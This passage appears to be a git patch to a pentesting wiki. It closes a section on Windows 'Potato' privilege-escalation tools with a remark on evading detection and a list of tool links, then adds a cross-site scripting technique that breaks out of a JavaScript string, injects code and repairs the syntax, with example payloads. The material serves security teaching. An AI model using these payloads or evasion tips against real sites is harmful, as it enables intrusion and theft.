Recompiling from source, renaming symbols/strings, or using in-memory execution can reduce detection but won’t defeat solid behavioral detections. + ## References - [https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) @@ -92,8 +183,7 @@ nt authority\system - [https://github.com/BeichenDream/GodPotato](https://github.com/BeichenDream/GodPotato) - [https://github.com/zcgonvh/EfsPotato](https://github.com/zcgonvh/EfsPotato) - [https://github.com/zcgonvh/DCOMPotato](https://github.com/zcgonvh/DCOMPotato) +- [https://github.com/tylerdotrar/SigmaPotato](https://github.com/tylerdotrar/SigmaPotato) +- [https://decoder.cloud/2020/05/11/no-more-juicypotato-old-story-welcome-roguepotato/](https://decoder.cloud/2020/05/11/no-more-juicypotato-old-story-welcome-roguepotato/) {{#include ../../banners/hacktricks-training.md}} - - - From e43a1147c1e84a9fe32b54fa66ca8cd867fd3ac4 Mon Sep 17 00:00:00 2001 From: HackTricks News Bot Date: Wed, 27 Aug 2025 06:35:05 +0000 Subject: [PATCH 06/19] Add content from: From "Low-Impact" RXSS to Credential Stealer: A JS-in-JS Wal... --- .../xss-cross-site-scripting/README.md | 60 +++++++++++++++++++ .../xss-cross-site-scripting/js-hoisting.md | 25 +++++++- 2 files changed, 82 insertions(+), 3 deletions(-) diff --git a/src/pentesting-web/xss-cross-site-scripting/README.md b/src/pentesting-web/xss-cross-site-scripting/README.md index 9c36bb96e..b173eb4af 100644 --- a/src/pentesting-web/xss-cross-site-scripting/README.md +++ b/src/pentesting-web/xss-cross-site-scripting/README.md @@ -543,6 +543,25 @@ If `<>` are being sanitised you can still **escape the string** where your input \';alert(document.domain)// ``` +#### JS-in-JS string break → inject → repair pattern + +When user input lands inside a quoted JavaScript string (e.g., server-side echo into an inline script), you can terminate the string, inject code, and repair the syntax to keep parsing valid. Generic skeleton: + +``` +" // end original string +; // safely terminate the statement + // attacker-controlled JS +; a = " // repair and resume expected string/statement +``` + +Example URL pattern when the vulnerable parameter is reflected into a JS string: + +``` +?param=test";;a=" +``` + +This executes attacker JS without needing to touch HTML context (pure JS-in-JS). Combine with blacklist bypasses below when filters block keywords. + ### Template literals \`\` In order to construct **strings** apart from single and double quotes JS also accepts **backticks** **` `` `** . This is known as template literals as they allow to **embedded JS expressions** using `${ ... }` syntax.\ @@ -571,6 +590,25 @@ loop``